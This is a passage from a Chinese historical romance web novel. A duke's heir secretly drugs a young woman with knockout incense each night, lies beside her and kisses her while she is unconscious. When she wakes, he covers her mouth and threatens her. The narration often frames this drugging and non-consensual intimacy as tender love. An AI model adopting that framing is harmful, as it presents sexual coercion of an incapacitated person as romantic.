途中再次碰上齐姝静,难得出太阳,照得大小姐的杏花衫和鬓间别的青竹簪格外别致,齐姝静穿艳色和太阳一样难得,云窈禁不住多看两眼:“大小姐早。” 齐姝静回礼,躬身时手上抱的一本书也跟着鞠躬。 云窈心想:大小姐又要去书肆吗? 不对,书肆是购书,人家手上已经有书了……国公府景多,许是挑个风光好的地,安静读书吧。 云窈想许多,嘴上不说,面上也不表露,多一事不如少一事。齐姝静却主动指着怀里的书道:“我要去书肆,问问有没有这本的后续。这本……可精彩了!” 云窈心一紧,对齐姝静话本的精彩没兴趣,只忐忑自己脸上没藏住心思吗? 且齐姝静的语气也太刻意,一板一眼,云窈总觉得哪里奇怪。 她没多话,点了个头就与齐姝静错身。 走了两步,心念微动,停步回头:“大小姐。” 齐姝静被这一声喊唤走半边魂,不受控耸肩。 她吞咽一口,掩下心虚:“窈娘,怎么了?” “若遇着有趣的话本,能否给我捎带些?”云窈往回朝齐姝静走,“劳烦大小姐了。” 云窈想了想,补充:“要结尾好,皆大欢喜的!” 最好还要长命百岁。 她本来还想说买了以后给齐姝静钱,又怕在国公府说这种话被笑话。 齐静姝道:“好,我给你捎两本。” “谢谢大小姐!” 云窈道了谢,齐姝静看着她眨了两下眼:“要没别的事我就先走了?” 云窈含笑点头:“大小姐只管去忙。” 齐姝静头也不回远离,云窈目送了会,才往齐拂意院中去,赶紧赶慢,生怕迟于公主要求的辰时。 齐拂意依旧坐在床上,云窈怀疑他就没下过床,数分担心,见过礼后便问:“二公子你好些了吗?” “比昨日好点。”齐拂意也关心她,“你用过早膳了吗?” “来之前吃了,”云窈由此及彼,“公子你呢?” 齐拂意点点头,笑道:“下回不用来这么早,慢慢在你那木樨小筑里用早膳。” “不打紧的,我吃的早。”云窈惧怕公主,可不敢怠慢——不仅不迟到,还跟昨日一样,捏肩、烧水,做完一切才辰时过半。 时候尚早,却不知道该做什么,说什么,沉默了一会云窈觉得太尴尬,走向书架想翻本话本给齐拂意念,哪知架上半架医书,除此之外就是四书五经,云窈找来找去,话本子只有一本《枕中记》。 这本脍炙人口,她也读过,卢生在梦中享尽荣华富贵,等到枕上悠悠转醒,主人蒸的黄粱还没有熟。 人生不过黄粱一梦。 联系许多人的机遇,云窈不免唏嘘、茫然,转而却想到自己夜夜做的蛇梦,胳膊一颤。 “今日又有什么心思?”齐拂意身不动,视线却大半追随云窈。 云窈回头瞧见齐拂意在望着自己笑,记得一开始结识时,齐拂意手里总拿着把扇子,也算翩翩。 云窈勾唇。 “还在想着那人?”齐拂意笑问。 云窈脸上的笑倏地僵住、消失。 默不作声。 半晌,齐拂意猜不出云窈所想,渐蹙眉头,正要启唇问一问,云窈突然出声:“二公子,你平常醒了以后,还会记得自己做过的梦吗?” 齐拂意一怔:“我鲜少做梦,数年不梦一回。” 云窈心想,自己以前也是这样啊,可眼下却变得噩梦连连。 没抑住,面泛愁容。 “要说梦到过什么……”齐拂意仔细回想,茫茫然脑子里全是雾,“还真什么都记不得了!” 就在这时,外头通传御医要进来请脉,齐拂意收声、合唇。 云窈则默默让到一边。 御医们一个接一个进门,云窈忍不住数了下,足有八位。他们逐一朝齐拂意见礼,处同一间屋里,云窈不想偷听也全听见了,最前面那位白髯老者是太医院院判,今日由他给齐拂意诊脉。 齐拂意眺云窈,云窈愣了愣,反应过来,赶紧去拿桌上比巴掌稍大些的小玉枕,触手不凉反而温热,是块天然的暖玉。 她将玉枕放到茶几上,又挪几至床边。 齐拂意抬手搁到玉枕上,院判也太守,诊脉。 接着,院判又请齐拂意张嘴,查看舌头两面,问饮食睡眠情况,而后才捻须道:“效不跟方,既然这个方子有效,那咱们就还按这个方子,先吃三副,再看二公子以为如何?。” 齐拂意点头:“我也觉得还得按吃这个,就是要加养血的量。” “但川穹、当归要稍稍添些。”院判出声比齐拂意迟些,二公子讲到后半句,院判才开头。 云窈惊讶抬头:二公子竟和院判一样判断! 满屋子的御医却皆无讶异色,好像皆习以为常,继续同齐拂意聊了会病情,就告退下去开方煎药。 齐拂意瞧见云窈刚刚那一抬头,御医一走就同她解释:“没办法,久病成医。” 他语气和神色皆说笑,云窈却听着十分难过。 齐拂意沉默片刻,笑道:“我记得少时太傅来家讲杜少陵,让我大哥、小太尉和李少卿各挑一句喜欢的,小太尉当即选了‘白日放歌须纵酒,青春作伴好还乡’,李少卿斟酌片刻,挑的是‘随风潜入夜,润物细无声’,大哥说句句都好,却没有喜欢的,太傅不信,以为他没用功,非让选,大哥就勉强翻书到《江村》,说那就‘老妻画纸为棋局,稚子敲针作钓钩’,我那时第一回知道《江村》,顺着我大哥手指往后多看了两句,‘多病所须唯药物,微躯此外更何求’,整个人定住,从此这就成了少陵诗里我最爱的一句。” 云窈愈发难过,诸如“二公子记性好”之类的话完全夸不出口。 齐拂意眉微动:“好了,说说你刚才想找我商量什么?” 云窈扭头再次看向齐拂意,齐拂意一笑——除了那一抬头的诧异,他还有留意到云窈的欲言又止。 她许是想……问些药理相关的问题? 齐拂意从前也没这般聪慧,如今是人之将死,不仅其言善,其心也明。 “二公子,有没有……有没有……” 她吞吞吐吐,齐拂意忍不住笑出一声,到底有没有什么嘛。 他无奈:“你直说。” 云窈咬唇。 齐拂意道:“别总咬了,瞧你嘴巴都破了。” 这句话突然给云窈注入莫大勇气,她扬起脑袋:“有没有药能让人晚上醒着?” 齐拂意呆了会,咧开嘴:“世人皆要安眠,你却要醒?” 他只打趣一霎,就依她道:“你要是信得过,我帮你开个方子,包管提神。” 云窈毫不犹豫屈膝垂首:“多谢二公子。” 齐拂意定定看着她,叹了口气:“以后不用这么客气。” 他暂时还没有力气提笔,只能口述。 云窈写下方子,递给齐拂意过目。 齐拂意笑:“字不错。” 为着方便,他院里有自己的药房,药材比外头铺子还齐全,唤长随进来取方抓药,煎好,要看着云窈服下。 云窈不好意思,迟迟不接碗。 齐拂意道:“就在这喝吧,你在我这没事做,我娘又不让你出去,大把的时间。”他低头笑,“我这也算送佛送到西。” 云窈这才饮下,连连道谢。 同齐拂意一道用了午膳晚膳,云窈打算和昨日一样陪到戌时,齐拂意却道:“早些回去吧。” 云窈不答。 “我会告诉母亲是我犯困了,想早些歇息,她不会怪到你身上。” 云窈抬头打量齐拂意。 齐拂意手搭在床沿上,摆了摆:“走吧,再晚要给你找灯笼了。” 云窈这才道别,天果然黑得快,不一会就成暗色,道路两旁的梧桐都快分不清哪是叶子,哪是阴影。 再往前,越来越暗。云窈陡见迎面走来两人,一前一后,后面那个她瞧不清,却能将前面的齐拂己看个清清楚楚,他戴官帽着官服,连脸上平静的表情,鼻子眼睛都一清二白,她甚至呢积分看见他的眸光。 云窈心一提,呼吸也跟着乱了,没多想就转身折返,快走了十来步才回头望,齐拂己神色平和,冉步从容,好像压根没瞧见她。 他拐上岔路。 云窈算算,世子院的确在那厢。 虽然知道不会再碰到,云窈仍没重走回头路,不惜绕一大圈回木樨小筑。 齐拂己在岔路上踱了一会,余光窥着云窈逃也似绕路,待她彻底消失在视线里,他突然加快,大步流星。 越走越快。 身后的大安可没主子腿长,跟得气喘吁吁,后来实在追不上,跑起来,齐拂己却陡然定住,大安差点撞到齐拂己背上。 天黑,大安没认出刚才路上折返的是云窈,还以为哪个丫鬟,因此困惑:世子这是怎么了? 齐拂己直勾勾,阴沉沉盯着前方,喉头剧烈滑动,心比天黑——齐姝静小的时候怕狗,就是这样,一看到前面有狗马上转身快逃,还怕狗追上,回头张望。 他现在在云窈眼里成什么了?她就这样讨厌他吗? 齐拂己伫了好一会,才稍微平复心绪,但脸色依旧铁青。 回到世子院书房,速喜即刻来报今日云窈动向,连和齐拂意的谈话也回禀得七七八八。齐拂己听完,唇角漾起一丝笑意,速喜和大安同时愣了下,有点瘆人。 齐拂己食指轻叩桌面,二弟亦挑明了喜欢她,她却没有避如蛇蝎,反而亲近二弟,帮他揉肩,和他说笑…… 且她呢,还盘算晚上醒着,连夜晚那一半也不愿留给他。 是夜,齐拂己再入云窈闺房时,径直坐上床沿。云窈今夜依旧朝外沉睡,但身子睡得靠里些,几贴着墙,隔得稍远,齐拂己本能抬手伸臂,忽然睡梦中的云窈往外头挪了些,脸主动贴进齐拂己掌心。 他先愕然,而后心里涌起阵阵暖流,要是白日里她也这么乖就好了…… 第36章 第三十六章 枕宿 那蛇又来云窈梦中,她皱了下眉,这次决定自己躲。 她朝着相反方向狂奔。 齐拂己手里,云窈的脸刚贴一会,就朝里滚,不仅对着墙睡,还远离他。 齐拂己哑然失笑。 他竟肆无忌惮探手去拉云窈,本来只想让她离近些,云窈滚过来却收不住,扑进齐拂己怀中,脑枕膝上。 齐拂己再次错愕,继而开怀笑出一声。 静悄悄的夜里颇有些突兀和响亮。 齐拂己已没了初探香闺时的戒备,不再一有风吹草动就远离——怕什么,这院的人都睡得很死,昨夜水声潺潺都没有吵醒一个。 他笑出声后不张望左右,专注盯着膝上云窈的睡颜,脉脉柔情,无限缱绻。 齐拂己手抚摸云窈的脸,想起“婉伸郎膝上,何处不可怜”,又想“宿昔不梳头,丝发披两肩”,他以手代梳,替她梳理交错夹杂在膝上的发,小心翼翼又极富耐心,怕扯着拉着痛,大多数打结处都一根根分拨,遇到被云窈脑袋压着的头发,就含笑托起她的脑袋,轻移发丝。 终理得青丝如瀑。 他五指一顺梳过,又捻起一缕,纠结半晌,拆了自己的发髻,也捻一缕,和云窈的发丝系上。虽然头发光滑,刚打个结就即刻散开,齐拂己却仍如少年般红透耳根。 他微笑凝睇云窈,欲念在今夜如潮褪去,却又涨起对另一种体验的期盼。 他解玉带,褪锦袍,大大咧咧反手甩至衣架上,和云窈的衣物交叠在一起。再褪鞋、褪袜,掀被躺倒,再盖上,和云窈睡在同一张床同一床被子里。 齐拂己只打算睡前浅啄一口云窈额头,唇贴上,却发现她紧蹙着眉,连额头都紧绷。 是有什么不开心的事吗?齐拂己疑惑,不假思索用指帮她抚平,捋了一遍又一遍,云窈的眉却仍皱着,直到捋出红痕才舒展。 齐拂己笑道:“睡吧。” 他掖被子,对着云窈阖眼,须臾,忆起云窈昨夜的眼泪,睁眼柔声道:“下回要是再哭,我就不心软了。” 他由侧身改为平躺,缓缓重闭上眼。 气息均匀,心内宁静。 身侧的云窈却比前几夜还不安,眼皮一抽一抽——她逃走了,那条蛇虽然没追来,但一直在她身边绕,盯着她,吐着红芯,呲着毒牙。 她觉得蛇就像高悬头顶的剑,未落但总有一天要落,比以往更紧张焦灼。 蛇在捉弄它的猎物,她始终未逃离它的捕猎圈。 齐拂己在丑时起身,虽眷恋不舍,但是再晚蒙汗药就要失效,他穿袜穿靴,整理锦袍,有条不紊,心里却想不知何时能在她清醒时与她同床共枕,最好比这回时间更长些,能相拥到天明。 云窈眼周起了极浅淡的青黑,连落玉都没察觉到,齐拂意却一见她就留心。 早晨,她给他揉肩,捶背,他闭着眼笑:“昨晚起效了吧?是不是一整晚想睡睡不着?以后别喝这方——” “我睡着了。”云窈回说,十指仍在纳脊,不曾停下动作,反倒是齐拂意肩一僵。 “怎么会呢?”他没控制住,反问出口。 云窈继续揉肩,沉默着完成公主交给她的任务。 “你睡得浅还是深?有没有睡死?” 云窈咬唇,不知道怎么回答,若说睡死,她一夜噩梦波动,若说睡浅,又迟迟醒不过来。 云窈纠结了会,把所有事情如实相告。 齐拂意脸色愈来愈沉,撩眼看向云窈时却又努力使神色轻松,语气也轻,仿若说笑:“你每晚梦到的都是同一条蛇?” “是。”云窈不笨,很快想深,不由得心往下坠,能听见周围朔风呼啸。 “除了我这方子,你有没有喝过别的东西?”齐拂意追问。 云窈摇头,但很快又僵住:“昨晚没有,但我前几日一直在喝李府医开的安神茶!但没喝茶前也曾梦到一回蛇。” 她一句接一句往外蹦,齐拂意听完感慨:“李府医,好久没听这名字了,他还好吗?” “是落玉去找的她。”云窈觉出不对劲,“二公子,你最近都没和李府医见面?” 齐拂意颔首。 “有多久没见?” “说出来吓你,十来年了。”齐拂意娓娓道来,因为身子实在太差,在他小时候公主就去求了圣上,无论小恙还是平安脉,皆由宫里御医负责。 齐拂意几未同李府医打过交道。 云窈却记得有一日落雨,李府医主动来木樨小筑请脉,说是给二公子瞧完病顺道来看看的。 “怎么了?”因她迟迟不再吱声,齐拂意追问。 “没什么。” 齐拂意以为她是连着几日没睡好,身体疲劳,遂关切:“正好在我这,你要有不舒服的也让御医瞧瞧。” “谢二公子好意,我没事的。”云窈摇头,心里想着府医第一次给她看病,是她淋雨发烧。再之后每回一到下雨,他都会诊平安脉。那时就觉得李府医有些关心过头,可周围的人都说这是府里常例。 现在,云窈怀疑并非人人都有这待遇。 也许,每回下雨时关心她的不是李府医,另有其人…… 她脑中突然冒出齐拂己的身影,下一刹,他就站在琴堤上朝她逼近一步,幽幽道,“如果我不是为了救人呢?” 如果我不是为了救人呢? 一遍又一遍不受控在云窈脑中回响,令她心烦意乱。 齐拂意注视着她,摆手:“云妹妹,近前来。” 云窈迟疑,缓缓凑近,齐拂意第一次拉起云窈的手,轻道:“安神茶先不要喝了。” 好像在说悄悄话,却同时在云窈手上写了个减字。 为了让云窈认清,齐拂意一笔一划清晰用力,又自知这院子里耳目众多,写得极快。 待停笔,顿感疲惫——心神耗费太多,超过身体所能承受。 他闭眼,从靠床头改为往下躺:“我睡会,你在外面自己待会。” 云窈依命。 半天相安无事,待用完晚膳,齐拂意又叫她早点走,云窈却拒:“我还是再陪陪你,等过了戌时再走吧,回去也无事做。” 齐拂意无奈,她在他这也没事做呀! 他以为是公主又给云窈施压,便琢磨起怎样解围,却不知云窈忌惮的是走早了会碰见下朝的齐拂己,拖到晚上,天黑人少,应该就没那么巧遇见了。 国公府戌时开始点亮沿路宫灯,云窈还提个灯笼,前路不黑,身后透亮,倒是比那将黑时黑时安心许多。 却又眺见齐拂己,他没官服换了常服,没戴官帽簪一根碧玉簪,身后没像昨天那样跟着人,却一样迎面而来。 云窈也同样转身疾走,一步快过一步,攥起拳呼吸不畅:怎么还能遇见大公子? 她拐上岔路没看前方,待抬头时,原本应该被远远抛在身后的齐拂己突然出现在云窈正前面,面不改色,缓缓朝她走来。 云窈炸出一身涔涔冷汗。 她调头狂奔,边跑边想:大公子怎么跟鬼魅的? 但是大公子神色从容、坦然,看起来跟以前一样霁月光风,会不会他压根就没瞧见,是她自己心虚,疑神疑鬼? 不对啊,怎么可能南辕北辙的两条路都迎面行来? 云窈回到木樨小筑后,依旧惊魂未定。 是夜,她没有喝药,不饮安神茶,甚至连口水都没沾,入睡后还是梦到了蛇。 她开始一样样减少吃食,排查是哪一种入口的食物或水令自己深睡。 她甚至还从齐拂意书架上学了一招化解噩梦的风水。 但蛇依旧每晚如约而至。 是同一条,虽然它的体温一日比一日暖,但它时不时在云窈的梦里吐红芯,露毒牙,提醒她它永远是条蛇。 日复一日。 期间云窈又邂逅齐拂己数回,有时她躲避绕路,有时齐拂己自行走远,还有一回云窈偶遇了两位婢女同路,避无可避,只能恭候路边向齐拂己施礼。 齐拂己淡淡颔首,擦身而过时压根没向云窈所在方向瞥来。 期间,齐拂意一日日好转,从可以下地到能在院子里走一会,今儿还勉强跟随御医打了一小段八段锦。 汉阳公主大喜过望,说云窈真是个福星,让她干脆搬来二公子院,全心全意照料齐拂意。 公主是托贴身婢女捎带的这番话,云窈耷拉着脑袋,迟迟没有抬首,也无回应。 婢女还要再开口,在场的齐拂意板起脸:“好了,这事日后我回给娘亲,这会先别聊了,够累的,心口疼。” 婢女一听二公子不适,生怕担责到自己身上,讲两句客套后就告退。 待婢女远去,齐拂意安抚云窈:“你最近避着我娘,莫要面对面见着,然后还是照常夜里回去。我娘若问,一律由我担责。” 云窈还是不吭声。 齐拂意心底轻叹,揭过这题,依然戌时撵她回去。 云窈还未踏进木樨小筑,尚在墙外,就听里面欢声笑语,进去仆妇婢女竟全聚在前院,有人搬了小凳子坐,有的人直接坐在阶上。 此情此景竟令云窈暂扫阴霾,笑问:“怎么都在外面?” “今晚天气好,出来坐坐。”大家都这么答。 云窈回身仰望,星月交辉,一片阴云也无,的确是难得的好天气。 她冲众人笑笑,众仆也都回笑,就是嘴角有些僵——其实她们刚才推了牌九,还在小酌,落玉也有参与,是共犯,因此缄口不言。 有仆往身后藏药酒,云窈假装没瞧见,落玉却因饮酒发热,扯衣领子:“怎么这么痒?”她问今晚请喝酒的仆妇,“是不是你这药酒里泡了蝎子的缘故?” “瞎讲,蝎子是止痒的。” “你这酒里有蝎子?”有婢女坐得远没瞧酒壶,此刻喝完了才知道,跳将起来,“我最怕蝎子了!” 众人讲着讲着,就聊到各自最怕什么? 有人怕鸟,有人畏鼠,还有个人恐惧莲蓬。三人同时出声问起云窈怕什么? 云窈顿时忆起滑溜溜黏腻触感,脱口而出:“蛇!” “小姐,你怕蛇吗?”旁人还好,落玉怔然,“我怎么不知道?” 云窈沉默,想到那蛇一沾上就再不会放开自己,不由瑟瑟轻抖。 是夜,齐拂己踏月而来。 宽衣、就寝,娴熟得似老夫老妻,他手臂摊开尚未收拢,云窈忽然往斜下方滚,弃了枕头,脑袋搁上齐拂己手臂。 他笑,托着她的脑袋要放回枕上,云窈却又滑下,如此两、三回,好似依恋他的胳膊不肯离开,齐拂己心情畅快,遂依云窈,就这样枕自己右臂一宿。 到后半夜他隐隐发麻,最坏的情况,明早整条胳膊要僵——但僵就僵吧,他从来不知道发麻也能麻这般高兴。他甚至短暂忘记自己给云窈下了蒙汗药,胳膊一动不敢动,怕扰云窈的美梦。 齐拂己悄笑痴了,没有发现云窈的羽睫连颤好几下,眼皮也跟着振动,似挣扎着要醒来。 第37章 第三十七章 败露 * 立德正己、礼乐相和。 本朝礼部定期考核射礼,这样才能确保祭祀的大射、款待外宾的宾射和燕息之日的燕射皆不出差错。 所有参考官员行止着装皆和大礼严格一致,不容半点差别。众礼官着箭袖,袒露左臂,执弓挟矢,内志正,外体直,进退周还必中礼。 观者不语,此为观德,射者发而不中,也不可怨胜者,行有不得,反求诸己,又所谓君子无所争。 排在齐拂己前面俩郎官皆未射中红心,一左一右,各偏数厘。 待到齐拂己上场,众人不约而同屏息——整个礼部就属司射和魏国公世子箭术最好,齐拂己自打上任,但凡参加射礼考核,莫有不中靶心,且中的都是红心中红心,再不能更正。 今日,齐拂己一如往昔张弓,在众人眼里世子甚是从容,但齐拂己心里却默道:果然,和自己预料的一样,每拉开一寸,昨晚被云窈枕了一晚宿的右臂就酸麻更甚,和人坐久了站起来,腿麻走不动路一样感觉。 但他仍拉弦至最满,固箭,射出一箭,正中靶心。 考核分三箭,第二箭要骑马,齐拂己翻身跃上,驰骋半圈后,脱缰、张弓。 嗒、嗒。 早熟稔于心,在白马离正靶心一丈远时开弓,离弦箭将直奔靶心,百发百中。 齐拂己照例放箭,却发现绷紧凸起的肱肌不听使唤,迟了一刹才松手,箭飞向垛靶,砰——还差一点就将偏出红心。 仍算正中。 观箭不语,众皆噤声。 有一两不服者,尤其司射,暗自腹诽:魏国公世子不过如此,也有失误的时候。 第三箭,是骑马蒙眼射。 齐拂己在马上极小幅度地振了三下臂膀,感受自己是否可以重新操控手臂。 依旧不大行,但他不慌,暗数马蹄声,嗒,只一响,提前一丈半放弓,臂膀仍迟一霎,箭从手上飞出去,快若闪电。 他跃下马,摘下罩在脸上的黑布,促眸眺向箭靶——不偏不倚,正中靶心。 齐拂己翘起嘴角,所以被云窈枕了胳膊并不会影响什么,可以及时校正,但被她枕臂会多了一份极其渴求的夫妻亲昵和甜蜜。 齐拂己唇角逐渐扬高,从众礼官身边经过时,好几人忍不住眼珠转动,视线跟随齐拂己走——难道重新射正能让人这般高兴? 从来没见过世子射完箭后笑的,还是这般无声,溢满整张脸的悄笑,像是心情格外好,却又不想和旁人分享这份好心情。 * 二公子院上房。 齐拂意和云窈面对面,背向窗外,齐拂意在云窈掌心写下一个“醒”字。 云窈摇头,昨日除了齐拂意给她吃的东西,再没有进任何食物,却仍昏睡。 还是梦到那条蛇。 齐拂意沉吟少顷,笑说:“妹妹,帮我倒点水。” 齐拂意是不能饮茶的,炉上温着热水,云窈道来一盏,叮嘱:“慢慢喝,别饮急了。” 齐拂意遵医嘱,水亦不能饮多,浅抿一口,将茶盏递还云窈时指擦过她手心,飞快又写一个香字。 香? 云窈反应算快,她的闺房里没点香啊,莫说夜里没有,白天也不熏。 她用疑惑的眼神望着齐拂意。 齐拂意读懂,却抿唇不应,须臾,从袖中掏出薄薄一张叠出四角的纸递给云窈,同时张唇、抬舌、阖唇。 这一系列动作迅雷不及掩耳,因太快,齐拂意又有些脱力,轻喘闭眼:“我歇会。” 云窈已将纸收进袖袋内,待回闺房后背着人打开,薄纸里包着小指盖大小一片剔透片剂,像冰片却又不是。她依齐拂意嘱咐,睡前含于舌下——这是后话暂且不表,且说申时落起毛毛雨,齐拂意和云窈在房中生着地龙,共听雨声。 齐拂意朝门外唤了声长随,着令提早用晚膳。 安排好一切,他才扭头同云窈商量:“今日下雨,就别等天黑了,吃过饭就回去?” 云窈马上担心路上遇见齐拂己,眸子里的慌张一闪而过。 转而逐渐冷静,晚膳提前了,还未到下朝时辰,不会碰见的。 云窈这才应好。 用过膳,齐拂意原打算派辆轿子送云窈,免得淋雨,云窈却想,那抬轿的四挑夫就活该淋雨吗? 她摇头拒绝:“没事的,雨又不大,我自己走回去就行。” 齐拂意抬眼看向窗外,要数三声,檐上才落下一滴雨,的确不大。 他没有再勉强云窈:“那好吧。” 云窈便自个撑伞回小筑。国公府铺地爱用玉石代替鹅卵拼花,很多地方落雨格外湿滑,她怕出溜,走得谨慎,也因此变得慢吞吞。 云窈无意抬首,陡见齐拂己撑伞伫在自己面前,近得快要脚尖贴脚尖。 云窈吓得后退半步,胸脯微微起伏,又想:大公子怎么每回走路都没半点声音?冷不丁就从哪冒出来。 她低头,惊魂未定,却又不自觉抬首多瞥一眼,难得见到齐拂己穿箭袖,边缘一圈卷草纹,好生英气。 云窈再看一眼,确定大公子武装比寻常打扮更俊逸,世间再难寻第二位这样的男儿郎。 再瞄眼。 而后,云窈才后知后觉想起来自己还在躲着齐拂己,转身疾走,雨却在这一刻骤然下大。狂风呼啸,吹翻了她的伞,眼见就要被浇,云窈头顶忽然多出一把宽大新伞,遮蔽暴雨,伞下重新变得干爽宁静。 齐拂己在她身后撑伞,沉声:“雨这么大,别躲我了。” 云窈垂首,不知如何接话,也不敢对视齐拂己的眼睛。 齐拂己缓缓眺向东南角,拾级九阶,便有一八角亭:“先去亭子里躲会雨吧。” 良久,云窈点头,她执拗地把自己的伞翻正,撑起。 齐拂己没勉强她,让了一步,走在云窈身后。 一前一后,默默往八角亭走,待要拾级,云窈停步、侧身,意思是让齐拂己先行。 齐拂己却也驻足:“雨天阶滑,我在你后头,你跌跤的话可以兜住。” 他的语气十分平淡,却是字字关心,在为她着想,云窈愈发不敢看他的眼睛。 齐拂己说跌跤可以接住她,但她并没有完全信任,每上一级台阶都要往下扫一眼,自己照顾自己。台阶上生了许多青苔,越潮湿越鲜艳,幽微不腐。 国公府偌大,八角亭都比外边修得宽敞,云窈径直越石桌石凳,走到西南栏杆边上,以为这样就可以远离齐拂己,哪知他也往这边走,云窈赶紧换个位置,走到和齐拂己对角的东北栏杆旁。 少顷,她偷偷回望,还好,大公子已在西北角凭栏坐下,没有再次往她这边靠近。 云窈转回去眺望亭外,不敢再回头。 齐拂己展臂,这条胳膊,昨夜还能搂她给她当枕头,今日白天就只配搭在这冷冰冰,没有感情的栏杆上。 他直勾勾盯着云窈后脑勺,还真是远呐,天涯海角。 云窈自然不知齐拂己所想,却莫名觉得后背阴森。 大雨瓢泼,并没有下小的迹象,渐渐的,云窈听见一些细微的噼啪声,她抬手伸向亭外,落入掌心的不是雨,而是雪杍。 京城竟然这么早就下雪,在杭州还在赏菊的时候,云窈想,这快赶上“胡天八月即飞雪”了。 她无意识侧首,发现齐拂己又神不知鬼不觉靠近,立在身侧,一道赏雪。 偶有雪籽飞到二人身上。 “退后些。”齐拂己让云窈退入亭内,同时手往右伸,递给云窈一个手炉。 云窈摇头,不用。 片刻,齐拂己缓缓收手,一声喟叹:“云姑娘最近好像很不待见我。” 云窈美目立张:被大公子看出来了吗?! 齐拂己余光始终窥视,她明晃晃的表情变化刺得他眼睛和心都生疼,千疮百孔也不为过。 她竟以为他才瞧出端倪? 齐拂己心里气极反笑,到底是她希望他过于迟钝?还是这个女人太无情? “民女不敢。”云窈良久回应一句。 齐拂己心里的笑变得酸涩:她什么不敢呐? 她敢得很。 亭内陷入死寂。 雪籽打在四面八方,落地上并没有变成洁白的雪,而是混入泥土变成污水。雪籽纷纷落在亭一侧的池塘里,涟漪无数,池水速涨。 齐拂己想:是不是只要他不开口,她就会这样一辈子不再跟他讲话? 他启唇,极艰难,觉得自己颜面扫地,却还是涩道:“其实……你没必要躲我。” 说出来,铺天盖地的屈辱朝他袭来,胸腔里却又慢慢都是酸胀,忍不了,心不由己,哪怕卑躬屈膝,也好过只拥有深夜:“你可以待我跟待二弟一样,正常说话、闲谈。” 云窈眉毛轻微挑,眨眼——大公子的意思是二公子也喜欢她,但是被拒后能做朋友,所以大公子也能做朋友吗? 她抬头,迟疑看向齐拂己,齐拂己和煦微笑,迎着云窈的目光,冲她点了点下巴,好似鼓励和肯定。 云窈便也冲他笑了下,八分释然。 齐拂己依旧一团和气,若春风拂面,心里却有一个癫狂的声音在尖叫:不,他才不要和二弟一样,他妒忌,他要比二弟更亲近,他要得到云窈唯一的爱。 “对不起……”云窈向齐拂己赔礼,“我之前不该躲着大公子,是我以小人之心度君子之腹了。” 说到君子二字时云窈心里梗了下,莫名觉得不舒服,好像再不愿意用君子来形容大公子,但她还是冲齐拂己低道:“君子之交淡如水……” 说半句就戛然而止,大公子应该明白她的意思吧? 鬼要跟她淡如水! 齐拂己暗暗叫囔,他的心和眼里的雪一样冰冷,他才不要淡如水,他和她都要被成亲那日香浓的喜酒灌醉! 但他还是转头,面不改色看向云窈,相视一笑。在云窈眼里,二人冰释前嫌,成了朋友。 * 夜里,齐拂己轻车熟路进入云窈闺房。 脸色阴沉,挑眼眺向云窈床边几上摆的一只憨态可掬的泥塑小猪,呵——见着这猪也有大半个月了吧? 是她做的风水,想用水来灭火,亥猪来冲巳蛇? 怎么着,他在她梦里是蛇吗? 齐拂己目光轻蔑掠过小猪,看向床上熟睡的云窈,即刻转笑。他娴熟褪去衣物,上榻将她拥住,昨晚枕着他胳膊的时光太过美妙,仿佛整晚云窈都主动扑在他怀里,比吻她的唇还要幸福。话虽这么说,但今晚他也仍要吻她唇。 齐拂己拥着云窈落下一个吻,待分开时,他瞧见云窈睁开两眼,与他四目相对。 她含的解药能解无色无味的蒙汗药香,现在她的心和眸子一样清澈且清明,明明白白映着一个齐拂己。 第38章 第三十八章 绮念绝 她眼里的齐拂己眸子微促,仍沉浸在刚才的拥抱亲吻中,迟了一霎,痴迷才尽数被惊恐、羞耻和混乱取代。 齐拂脸上血色尽褪,漆黑深夜,却觉一束三伏正午的阳光直直照着自己。他习惯了黑暗,本能抬手遮挡光明,却倏地一顿——他清晰瞧见云窈脸上的冰冷、清醒,以及她眸子那个丑陋的自己,无处遁形。 齐拂己右手悬空,无法再举高遮挡不存在的光线,他的手抖得厉害,白皙手背上的青筋和修长五指一起剧烈震颤。 外面早不下雪籽,只有暴风雨在呼啸,偶尔一道闪雷劈破窗户,将床上藕色的纱帐照成喜庆的红绡,束帐的金钩反射点点光亮到帐上,像流波粼粼,红的欲滴,金的璀璨迷离。 齐拂己很快冷静下来,仿佛天生适合这种阴冷诡谲天气。云窈眼里,他渐渐和幽黑的夜、煞白的闪电、靡靡的红帐融为一体。 他很冷静地问她,甚至眼角眉梢浮起一丝笑意:“窈娘,你怎么引我来你梦里?” 铺天盖地的悲凉朝云窈袭来,心底涌起一股深深的绝望——他在狡辩、解释,将自己的罪行否认修饰成她的梦,让她以为还在梦里。 可今夜以前,他当着她的面都喊“云姑娘”,从来不会亲昵地称呼“窈娘”,他的谎言混乱、矛盾、不堪一击! 在高度紧张和警惕下,云窈甚至捕捉到齐拂己余光飞快瞥向自己下唇——更准确地讲,是透过下唇看向舌下。 他在寻找她清醒的原因。 他压根没有一丝悔改之意! 云窈也不知哪来的勇气,情不自禁瞪了齐拂己一眼。 齐拂己完完全全接住她的目光。 他内心好似连绵起伏的山峦,先是震颤,继而裂开一道缝,山石簌簌往下滚,崩塌的迅速越来越快,摧枯拉朽,巍峨陡峰化为沧海,波涛起伏,再不见陆地。 他心里幽幽地想:也好,自己的肮脏终于被她瞧见,那是不是她也终于感受到他爱的炽烈? 他的渴求和欲念大白天下,一览无遗,那他就可以不再隐忍? 他甚至幻想趁她醒了,索性一不做二不休翻身压下,她既然不愿意迷糊混沌地过日子,非要求一个真相,那就让她再瞧清些,看看什么是真正的不知廉耻、不堪入目! 她肯定会呜呜咽咽,但他不会再心软给她机会,他要让她睁眼看着他是怎样讨要回馈,看着自己在他身下化作一滩水,下不来床。 荒唐!畅快! 齐拂己深吸口气,摒弃杂念,冲云窈笑道:“你终于舍得睁开眼看我了?” 如此颠倒黑白,云窈骤然张目! 齐拂己却身心如释重负,如情人昵语一般问:“你把解药藏在舌下了吧?” 谁给她的?二弟?他俩还真是亲密。 齐拂己妒忌又起,却和颜悦色,温言细语:“我不一样,我是提前服食解药,不会迷倒。” 云窈却发现齐拂己的睫毛在抖。 他是不是也在战栗? 她的眼珠微往上下移动,打量齐拂己——可他脸上却是极致的平静,萦绕着笑意。 云窈终究吓出一声迟来的尖叫,还未完全发出,齐拂己就提前捂住云窈的嘴,另一只手扣上云窈手腕。 云窈本能挣脱,逃走,用脚踢他,声音试图穿透他的手掌叫出来。 “别叫、别走……”他的声音低得像呓语,委屈的语气中甚至夹杂一丝哀怨,“你也不想别人知道我俩现在这样抱在一起吧?” 